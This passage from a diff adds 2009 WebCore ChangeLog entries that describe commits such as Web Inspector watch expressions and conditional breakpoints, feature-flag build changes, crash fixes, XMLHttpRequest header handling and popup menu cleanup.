+        (WebCore::FontDescription::setFontSmoothing):
+        (WebCore::FontDescription::operator==):
+
+        Call setShouldAntialias() and setShouldUseSmoothing() appropriately 
+        based on the CSS fontSmoothing() value.
+        * platform/graphics/mac/FontMac.mm:
+        (WebCore::Font::drawGlyphs):
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::Font::drawGlyphs):
+
+        New function fontSmoothing()
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::fontSmoothing):
+
+        New enum FontSmoothing.
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-09-16  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Remove style property if empty string is entered.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29163
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype._onmouseout): fixed null pointer exception
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.applyStyleText): if styletext to apply is empty it will return an array to confirm the property removal
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype.):
+        (WebInspector.StylePropertyTreeElement.prototype):
+
+2009-09-16  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Always reset m_implicitShorthand to false after parsing
+        background-repeat style property otherwise properties
+        following after it may be erroneously marked as implicit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28972
+        https://bugs.webkit.org/show_bug.cgi?id=28973
+
+        Test: fast/backgrounds/repeat/margin-shorthand.html
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+
+2009-09-16  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Incorrect behavior of XMLHttpRequest::getAllResponseHeaders and
+        XMLHttpRequest::getResponseHeader in the
+        HEADERS_RECEIVED readyState.
+        https://bugs.webkit.org/show_bug.cgi?id=29121
+
+        Tests: http/tests/xmlhttprequest/getAllResponseHeaders.html
+               http/tests/xmlhttprequest/getResponseHeader.html
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::getAllResponseHeaders):
+        (WebCore::XMLHttpRequest::getResponseHeader):
+        Changed the minimum valid state from LOADING to HEADERS_RECEIVED.
+
+2009-09-16  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix style violation in V8AbstractEventListener.
+        https://bugs.webkit.org/show_bug.cgi?id=29303
+
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::operator==):
+
+2009-09-16  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Add Watch Expression support to inspector
+        https://bugs.webkit.org/show_bug.cgi?id=27514
+
+        Manual test added.
+
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype.evalInInspectedWindow):
+        (WebInspector.ConsoleView.prototype._enterKeyPressed):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.update.callback):
+        (WebInspector.ObjectPropertiesSection.prototype.update):
+        (WebInspector.ObjectPropertiesSection.prototype.updateProperties):
+        (WebInspector.ObjectPropertiesSection.CompareProperties):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate.callback):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        (WebInspector.ScriptsPanel.prototype._callFrameSelected):
+        * inspector/front-end/WatchExpressionsSidebarPane.js: Added.
+        (WebInspector.WatchExpressionsSidebarPane):
+        (WebInspector.WatchExpressionsSidebarPane.prototype.refreshExpressions):
+        (WebInspector.WatchExpressionsSection):
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        (WebInspector.WatchExpressionsSection.prototype.addExpression):
+        (WebInspector.WatchExpressionsSection.prototype.updateExpression):
+        (WebInspector.WatchExpressionsSection.prototype.findAddedTreeElement):
+        (WebInspector.WatchExpressionsSection.prototype.loadSavedExpressions):
+        (WebInspector.WatchExpressionsSection.prototype.saveExpressions):
+        (WebInspector.WatchExpressionsSection.CompareProperties):
+        (WebInspector.WatchExpressionTreeElement):
+        (WebInspector.WatchExpressionTreeElement.prototype.update):
+        (WebInspector.WatchExpressionTreeElement.prototype._deleteButtonClicked):
+        (WebInspector.WatchExpressionTreeElement.prototype.startEditing):
+        (WebInspector.WatchExpressionTreeElement.prototype.editingCancelled):
+        (WebInspector.WatchExpressionTreeElement.prototype.applyExpression):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * manual-tests/inspector/debugger-watch-expressions.html: Added.
+
+2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
+
+        Add ENABLE(INSPECTOR)
+        https://bugs.webkit.org/show_bug.cgi?id=29260
+
+        Reviewed by David Kilzer.
+
+        No new tests. (No change in default behavior.)
+
+        * DerivedSources.make: Use new WebCore.Inspector.exp file if ENABLE_DRAG_SUPPORT.
+        * WebCore.base.exp: Move Inspector only exports to WebCore.Inspector.exp.
+        * WebCore.xcodeproj/project.pbxproj: Add WebCore.Inspector.exp.
+        * bindings/js/JSDOMWindowBase.cpp: Use ENABLE(INSPECTOR) where applicable.
+        (WebCore::JSDOMWindowBase::supportsProfiling):
+        * bindings/js/JSInspectedObjectWrapper.cpp: Wrap entire file in ENABLE(INSPECTOR).
+        * bindings/js/JSInspectorBackendCustom.cpp: Ditto.
+        * bindings/js/JSInspectorCallbackWrapper.cpp: Ditto.
+        * bindings/js/ScriptObject.cpp: Use ENABLE(INSPECTOR) where applicable.
+        * bindings/js/ScriptObject.h: Ditto.
+        * bindings/js/ScriptObjectQuarantine.cpp: Wrap entire file in ENABLE(INSPECTOR).
+        * dom/Document.cpp: Use ENABLE(INSPECTOR) where applicable.
+        (WebCore::Document::recalcStyle):
+        (WebCore::Document::addMessage):
+        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
+        (WebCore::Document::scriptImported):
+        * dom/Document.h: Ditto.
+        * dom/Node.cpp: Ditto.
+        (WebCore::Node::dispatchGenericEvent):
+        * dom/ScriptExecutionContext.h: Ditto.
+        (WebCore::):
+        * html/HTMLDocument.cpp: Ditto.
+        (WebCore::HTMLDocument::createTokenizer):
+        * html/HTMLTokenizer.cpp: Ditto.
+        (WebCore::HTMLTokenizer::write):
+        * inspector/ConsoleMessage.cpp: Ditto.
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h: Ditto.
+        * inspector/DOMDispatchTimelineItem.cpp: Wrap entire file in ENABLE(INSPECTOR).
+        * inspector/InspectorBackend.cpp: Ditto.
+        * inspector/InspectorController.cpp: Ditto.
+        * inspector/InspectorDOMAgent.cpp: Ditto.
+        * inspector/InspectorDOMStorageResource.cpp: Ditto.
+        * inspector/InspectorDatabaseResource.cpp: Ditto.
+        * inspector/InspectorFrontend.cpp: Ditto.
+        * inspector/InspectorResource.cpp: Ditto.
+        * inspector/InspectorTimelineAgent.cpp: Ditto.
+        * inspector/TimelineItem.cpp: Ditto.
+        * loader/FrameLoader.cpp: Use ENABLE(INSPECTOR) where applicable.
+        (WebCore::FrameLoader::detachFromParent):
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
+        (WebCore::FrameLoader::loadedResourceFromMemoryCache):
+        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
+        (WebCore::FrameLoader::dispatchDidCommitLoad):
+        (WebCore::FrameLoader::dispatchAssignIdentifierToInitialRequest):
+        (WebCore::FrameLoader::dispatchWillSendRequest):
+        (WebCore::FrameLoader::dispatchDidReceiveResponse):
+        (WebCore::FrameLoader::dispatchDidReceiveContentLength):
+        (WebCore::FrameLoader::dispatchDidFinishLoading):
+        * page/Chrome.cpp: Ditto.
+        (WebCore::Chrome::mouseDidMoveOverElement):
+        * page/Console.cpp: Ditto.
+        (WebCore::Console::addMessage):
+        (WebCore::Console::count):
+        (WebCore::Console::profile):
+        (WebCore::Console::profileEnd):
+        (WebCore::Console::time):
+        (WebCore::Console::timeEnd):
+        (WebCore::Console::group):
+        (WebCore::Console::groupEnd):
+        * page/ContextMenuController.cpp: Ditto.
+        (WebCore::ContextMenuController::handleContextMenuEvent):
+        (WebCore::ContextMenuController::contextMenuItemSelected):
+        * page/DOMWindow.cpp: Ditto.
+        (WebCore::DOMWindow::sessionStorage):
+        (WebCore::DOMWindow::localStorage):
+        * page/EventHandler.cpp: Ditto.
+        (WebCore::EventHandler::handleMousePressEvent):
+        * page/FrameView.cpp: Ditto.
+        (WebCore::FrameView::layout):
+        (WebCore::FrameView::paintContents):
+        * page/FrameView.h: Ditto.
+        * page/Page.cpp: Ditto.
+        (WebCore::Page::Page):
+        (WebCore::Page::~Page):
+        * page/Page.h: Ditto.
+        * platform/ContextMenu.cpp: Ditto.
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        * platform/ContextMenuItem.h: Ditto.
+        (WebCore::):
+        * storage/Database.cpp: Ditto.
+        (WebCore::Database::openDatabase):
+        * workers/WorkerContext.cpp: Ditto.
+        (WebCore::WorkerContext::importScripts):
+        * xml/XMLHttpRequest.cpp: Ditto.
+        (WebCore::XMLHttpRequest::didFinishLoading):
+
+2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
+
+        Add ENABLE(CONTEXT_MENUS)
+        https://bugs.webkit.org/show_bug.cgi?id=29225
+
+        Reviewed by David Kilzer.
+
+        No new tests. (No change in default behavior.)
+
+        * DerivedSources.make: Use new WebCore.ContextMenus.exp file if ENABLE_CONTEXT_MENUS.
+        * WebCore.base.exp: Move ContextMenu only exports to WebCore.ContextMenus.exp.
+        * WebCore.xcodeproj/project.pbxproj: Add WebCore.ContextMenus.exp.
+        * dom/Node.cpp: Use ENABLE(CONTEXT_MENUS) where applicable.
+        (WebCore::Node::defaultEventHandler):
+        * loader/EmptyClients.h: Ditto.
+        * page/ContextMenuController.cpp: Wrap entire file in ENABLE(CONTEXT_MENUS).
+        * page/EventHandler.cpp: Use ENABLE(CONTEXT_MENUS) where applicable.
+        * page/EventHandler.h: Ditto.
+        * page/Page.cpp: Ditto.
+        (WebCore::Page::Page):
+        * page/Page.h: Ditto.
+        * page/mac/EventHandlerMac.mm: Ditto.
+        * page/mac/WebCoreViewFactory.h: Ditto.
+        * platform/ContextMenu.cpp: Wrap entire file in ENABLE(CONTEXT_MENUS).
+        * platform/LocalizedStrings.h: Use ENABLE(CONTEXT_MENUS) where applicable.
+        * platform/mac/ContextMenuItemMac.mm: Wrap entire file in ENABLE(CONTEXT_MENUS).
+        * platform/mac/ContextMenuMac.mm: Ditto.
+        * platform/mac/LocalizedStringsMac.mm: Use ENABLE(CONTEXT_MENUS) where applicable.
+        * svg/graphics/SVGImage.cpp: Ditto.
+        (WebCore::SVGImage::dataChanged):
+
+2009-09-16  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Clean up invalidation for repainting.  Hoist the dirty rect intersection test in ScrollViewMac up
+        into ScrollView so that all platforms do it.
+        
+        Patch deferred repaints in FrameView::repaintContentRectangle to only add the visible portion of
+        the rectangle for repainting.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::repaintContentRectangle):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::repaintContentRectangle):
+        * platform/mac/ScrollViewMac.mm:
+        (WebCore::ScrollView::platformRepaintContentRectangle):
+
+2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
+
+        Add ENABLE(DRAG_SUPPORT)
+        https://bugs.webkit.org/show_bug.cgi?id=29233
+
+        Reviewed by David Kilzer.
+
+        No new tests. (No change in default behavior.)
+
+        * DerivedSources.make: Use new WebCore.DragSupport.exp file if ENABLE_DRAG_SUPPORT.
+        * WebCore.base.exp: Move Drag Support only exports to WebCore.DragSupport.exp.
+        * WebCore.xcodeproj/project.pbxproj: Add WebCore.DragSupport.exp.
+        * dom/Clipboard.h: Use ENABLE(DRAG_SUPPORT) where applicable.
+        * loader/EmptyClients.h: Ditto.
+        * page/DragController.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * page/EventHandler.cpp: Use ENABLE(DRAG_SUPPORT) where applicable.
+        (WebCore::EventHandler::EventHandler):
+        (WebCore::EventHandler::clear):
+        (WebCore::EventHandler::handleMousePressEvent):
+        (WebCore::EventHandler::handleMouseReleaseEvent):
+        (WebCore::EventHandler::handleMouseMoveEvent):
+        * page/EventHandler.h: Ditto.
+        * page/Page.cpp: Ditto.
+        (WebCore::Page::Page):
+        * page/Page.h: Ditto.
+        * page/mac/DragControllerMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * page/mac/EventHandlerMac.mm: Use ENABLE(DRAG_SUPPORT) where applicable.
+        (WebCore::EventHandler::passSubframeEventToSubframe):
+        * platform/DragData.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * platform/DragImage.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * platform/mac/ClipboardMac.h: Use ENABLE(DRAG_SUPPORT) where applicable.
+        * platform/mac/ClipboardMac.mm: Ditto.
+        * platform/mac/DragDataMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * platform/mac/DragImageMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
+        * rendering/RenderLayer.cpp: Use ENABLE(DRAG_SUPPORT) where applicable.
+        (WebCore::RenderLayer::autoscroll):
+        * rendering/RenderObject.cpp: Ditto.
+        * rendering/RenderObject.h: Ditto.
+        * svg/graphics/SVGImage.cpp: Ditto.
+        (WebCore::SVGImage::dataChanged):
+
+2009-09-16  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wxMSW build fix after adding support for high resolution times in Win.
+
+        * page/Settings.cpp:
+        * page/Settings.h:
+
+2009-09-16  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Added operator==() to event listeners. This fixes V8 bindings
+        build broken in http://trac.webkit.org/changeset/48402.
+        https://bugs.webkit.org/show_bug.cgi?id=29298
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener): Now
+        uses JSEventListenerType.
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::operator==): Only compares
+        pointers since we create at most one wrapper for a JS object.
+
+2009-09-16  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Crash when visiting http://flipper.googlelabs.com/
+        https://bugs.webkit.org/show_bug.cgi?id=29293
+
+        Check type for being null or empty before looking it up in the
+        hash of supported types.
+
+        Tested by http/tests/loading/redirect-with-no-location-crash.html
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::supportsType):
+
+2009-09-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+        
+        Removed the notion of "disconnected nodes with event listeners" because
+        it was vestigial. The reference cycle it tried to solve was solved another
+        way in https://bugs.webkit.org/show_bug.cgi?id=21260.
+
+        * dom/Document.cpp:
+        (WebCore::Document::removeAllEventListeners):
+        * dom/Document.h:
+        * dom/Node.cpp:
+        (WebCore::Node::~Node):
+        (WebCore::Node::insertedIntoDocument):
+        (WebCore::Node::removedFromDocument):
+        (WebCore::Node::willMoveToNewOwnerDocument):
+        (WebCore::Node::didMoveToNewOwnerDocument):
+        (WebCore::Node::addEventListener):
+        (WebCore::Node::removeEventListener):
+        (WebCore::Node::clearAttributeEventListener):
+
+2009-09-15  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        WAI-ARIA: add support for ranges, including the progressbar, slider, and spinbutton roles
+        https://bugs.webkit.org/show_bug.cgi?id=28841
+
+        Allow certain ARIA roles to change value with AXIncrement and AXDecrement. 
+        Consolidate increment/decrement/changeValue methods. 
+
+        Test: accessibility/aria-slider-value-change.html
+
+        * accessibility/AccessibilityObject.cpp:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::increment):
+        (WebCore::AccessibilityRenderObject::decrement):
+        (WebCore::AccessibilityRenderObject::changeValueByPercent):
+        (WebCore::AccessibilityRenderObject::setValue):
+        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilitySlider.cpp:
+        * accessibility/AccessibilitySlider.h:
+        * dom/Element.cpp:
+        (WebCore::Element::updateAfterAttributeChanged):
+
+2009-09-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Removed the jsEventListeners set from JSDOMGlobalObject, to simplify
+        creation and destruction of JSDOMGlobalObject and event listeners.
+        
+        Added an abstract operator==() to EventListener, to replace the
+        jsEventListeners set's role in determining if two event listeners are
+        equal from the DOM's perspective.
+        
+        Added a type field to EventListener, and casting operations, to support
+        operator==() and other abstract operations.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener):
+        * bindings/js/JSDesktopNotificationsCustom.cpp:
+        (WebCore::JSNotification::addEventListener):
+        (WebCore::):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener):
+        (WebCore::JSEventListener::~JSEventListener):
+        (WebCore::JSEventListener::markJSFunction):
+        (WebCore::JSEventListener::handleEvent):
+        (WebCore::JSEventListener::reportError):
+        (WebCore::JSEventListener::operator==):
+        * bindings/js/JSEventListener.h:
+        (WebCore::JSEventListener::cast):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/objc/ObjCEventListener.h:
+        (WebCore::ObjCEventListener::cast):
+        * bindings/objc/ObjCEventListener.mm:
+        (WebCore::ObjCEventListener::ObjCEventListener):
+        (WebCore::ObjCEventListener::operator==):
+        * dom/EventListener.h:
+        (WebCore::EventListener::):
+        (WebCore::EventListener::type):
+        (WebCore::EventListener::EventListener):
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::addEventListener):
+        (WebCore::MessagePort::removeEventListener):
+        * dom/Node.cpp:
+        (WebCore::Node::removeEventListener):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::InspectorDOMAgent):
+        (WebCore::InspectorDOMAgent::mainFrameDocument):
+        (WebCore::InspectorDOMAgent::operator==):
+        * inspector/InspectorDOMAgent.h:
+        (WebCore::InspectorDOMAgent::cast):
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageEventListener::cast):
+        (WebCore::ImageEventListener::ImageEventListener):
+        (WebCore::ImageEventListener::operator==):
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::addEventListener):
+        (WebCore::DOMApplicationCache::removeEventListener):
+        * notifications/Notification.cpp:
+        (WebCore::Notification::removeEventListener):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::removeEventListener):
+        * page/EventSource.cpp:
+        (WebCore::EventSource::addEventListener):
+        (WebCore::EventSource::removeEventListener):
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::cast):
+        (WebCore::ConditionEventListener::ConditionEventListener):
+        (WebCore::ConditionEventListener::operator==):
+        (WebCore::ConditionEventListener::handleEvent):
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::addEventListener):
+        (WebCore::AbstractWorker::removeEventListener):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::addEventListener):
+        (WebCore::WorkerContext::removeEventListener):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::addEventListener):
+        (WebCore::XMLHttpRequest::removeEventListener):
+        * xml/XMLHttpRequestUpload.cpp:
+        (WebCore::XMLHttpRequestUpload::addEventListener):
+        (WebCore::XMLHttpRequestUpload::removeEventListener):
+
+2009-09-15  Alex Milowski  <alex@milowski.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Added ENABLE_MATHML to feature defines
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-09-14  Andrew Richards  <randrew@gmail.com>
+
+        Reviewed by Sam Weinig.
+
+        Document.elementFromPoint() and Document.caretRangeFromPoint() erroneously returning null at points visible only after scrolling.
+        https://bugs.webkit.org/show_bug.cgi?id=29245
+
+        Use visibleContentRect() instead of boundsRect() when checking hit point bounds on viewport.
+
+        * dom/Document.cpp:
+        (WebCore::Document::elementFromPoint):
+        (WebCore::Document::caretRangeFromPoint):
+
+2009-09-15  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Eric Seidel
+
+        http://bugs.webkit.org/show_bug.cgi?id=26660
+
+        Chromium Windows: When rotated, the baseline for a span of complex
+        script is completely misaligned with that of the adjacent 
+        simple script text. It's fixed by not applying the baseline offset for
+        the Skia code path.
+
+        Test: transforms/2d/hindi-rotated.html
+
+        * platform/graphics/chromium/UniscribeHelper.cpp:
+        (WebCore::UniscribeHelper::draw):
+
+2009-09-15  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Pass the PopupMenu pointer to CreateWindowEx and then get it from the LPCREATESTRUCT in
+        the WM_CREATE handler. This way we don't have to first create an zero size window and then size it.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::PopupMenuWndProc):
+
+2009-09-15  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Darin Adler.
+
+        MessageEvent should not be cancelable by default
+        https://bugs.webkit.org/show_bug.cgi?id=27846
+
+        * dom/MessageEvent.cpp:
+        (WebCore::MessageEvent::MessageEvent):
+        Changed constructor to set cancelable=false by default, per the HTML5 spec.
+
+2009-09-15  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by George Staikos.
+
+        Fix SVG path parsing error if a command starts with dot '.'
+        https://bugs.webkit.org/show_bug.cgi?id=29123
+
+        * svg/SVGParserUtilities.cpp:
+        (WebCore::SVGPathParser::parseSVG):
+
+2009-09-15  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Implement conditional breakpoints in the Web Inspector frontend.
+        https://bugs.webkit.org/show_bug.cgi?id=28908
+
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/Breakpoint.js:
+        (WebInspector.Breakpoint.prototype.set condition):
+        * inspector/front-end/Popup.js: Added.
+        (WebInspector.Popup):
+        (WebInspector.Popup.prototype.show):
+        (WebInspector.Popup.prototype.hide):
+        (WebInspector.Popup.prototype.get visible):
+        (WebInspector.Popup.prototype.set element):
+        (WebInspector.Popup.prototype.get element):
+        (WebInspector.Popup.prototype.positionElement):
+        (WebInspector.Popup.prototype.set anchor):
+        (WebInspector.Popup.prototype.get anchor):
+        (WebInspector.Popup.prototype.set autoHide):
+        (WebInspector.Popup.prototype._checkNotVisible):
+        (WebInspector.Popup.prototype._keyEventHandler):
+        (WebInspector.Popup.prototype._mouseDownEventHandler):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.revealLine):
+        (WebInspector.SourceFrame.prototype._loaded):
+        (WebInspector.SourceFrame.prototype._documentContextMenu):
+        (WebInspector.SourceFrame.prototype._documentMouseDown):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.committed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.dismissed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition):
+        (WebInspector.SourceFrame.prototype._showBreakpointConditionPopup):
+        (WebInspector.SourceFrame.prototype._createPopupElement):
+        (WebInspector.SourceFrame.prototype._addBreakpointToSource):
+        (WebInspector.SourceFrame.prototype._removeBreakpointFromSource):
+        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded.drawBreakpoint):
+        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.set currentFocusElement):
+        (WebInspector.set currentPanel):
+        (WebInspector.loaded):
+        (WebInspector.contextMenu):
+        (WebInspector.elementDragStart):
+        (WebInspector.updateResource):
+        (WebInspector.drawLoadingPieChart):
+        (WebInspector.linkifyURLAsNode):
+        (WebInspector.startEditing.getContent):
+        (WebInspector.startEditing.editingCancelled):
+        (WebInspector.startEditing.editingCommitted):
+        * inspector/front-end/utilities.js:
+        (Element.prototype.positionAt):
+        (Element.prototype.offsetRelativeToWindow):
+
+2009-09-14  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Page cache should support pages with unload handlers as an experiment.
+        <rdar://problem/7196485> and https://bugs.webkit.org/show_bug.cgi?id=29021
+
+        For the experiment, only allow pages with unload handlers into the Page Cache on
+        Mac and Windows.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+
+2009-09-14  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix the change in r48376 to do a null-check to fix a crashing test.
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+
+2009-09-14  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7047282> Safari crashes at WebCore::RenderMenuList::adjustInnerStyle() 436
+        
+        Avoid a crash when a mouse event handler on a <select> changes the select from a popup
+        to a list (by setting the 'size' property) inside the event handler.
+
+        Test: fast/forms/select-change-popup-to-listbox-in-event-handler.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+
+2009-09-14  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        More PopupMenu cleanup.
+        
+        * platform/PopupMenu.h:
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        Call registerClass.
+        
+        (WebCore::PopupMenu::registerClass):
+        Make this a private static member function so it can refer to PopupMenuWndProc.
+        
+        (WebCore::PopupMenu::PopupMenuWndProc):
+        Try to get the PopupMenu and call its wndProc member function.
+        
+        (WebCore::PopupMenu::wndProc):
+        Make this a member function.
+
+2009-09-14  Brady Eidson  <beidson@apple.com>
+
+        Not reviewed, maybe should've been:
+
+        Cleaning up more Windows-specific fallout from the fix for:
+        <rdar://problem/7174050> and https://bugs.webkit.org/show_bug.cgi?id=29160
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::WebCoreSynchronousLoader::load): Don't allow empty CFStrings as the stored credentials,
+          as related checks all look at nullity when they really mean to be looking for emptiness. 
+
+2009-09-14  Anders Carlsson  <andersca@apple.com>
+
+        Speculative Qt build fix.
+        
+        * platform/qt/QWebPopup.cpp:
+        (WebCore::QWebPopup::hidePopup):
+
+2009-09-14  Dirk Pranke  <dpranke@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix RenderThemeChromiumWin::determineClassicState so that classic_state
+        matches the state values (and you get a single classic_state value
+        for a given {part,state} value. This change will be tested by a 
+        chromium patch that will land after this.
+
+        This will be tested by code landing downstream on Chromium.org; the
+        code does not execute on webkit.org.
+
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::determineClassicState):
+        (WebCore::RenderThemeChromiumWin::getThemeData):
+
+2009-09-14  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29138
+        Simplify popup menu handling.
+
+        * platform/PopupMenuClient.h:
+        Rename hidePopup to popupDidHide.
+        
+        * platform/chromium/PopupMenuChromium.cpp:
